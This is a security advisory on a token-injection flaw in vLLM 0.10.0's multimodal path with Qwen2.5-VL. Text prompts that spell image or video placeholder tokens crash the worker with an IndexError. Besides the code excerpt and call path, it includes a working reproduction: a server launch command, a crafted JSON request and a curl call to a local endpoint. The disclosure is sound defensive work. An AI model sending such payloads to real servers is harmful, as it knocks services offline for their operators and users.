This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Representative snippet (context):
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
cls,
input_tokens,
hf_config,
image_grid_thw,
video_grid_thw,
...,
):
# detect video tokens
video_nums = (vision_tokens == video_token_id).sum()
# later in processing
t, h, w = (
video_grid_thw[video_index][0], # IndexError if no video data
video_grid_thw[video_index][1],
video_grid_thw[video_index][2],
)
Abbreviated call path:
OpenAI API request
→ vllm.v1.engine.core: step/execute_model
→ vllm.v1.worker.gpu_model_runner: _update_states/execute_model
→ vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
→ _vl_get_input_positions_tensor
→ IndexError: list index out of range
python -m vllm.entrypoints.openai.api_server \
--model Qwen/Qwen2.5-VL-3B-Instruct \
--port 8000
cat > request.json <<'JSON'
{
"model": "Qwen/Qwen2.5-VL-3B-Instruct",
"messages": [
{
"role": "user",
"content": [
{ "type": "text",
"text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
]
}
]
}
JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
--data @request.json
Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)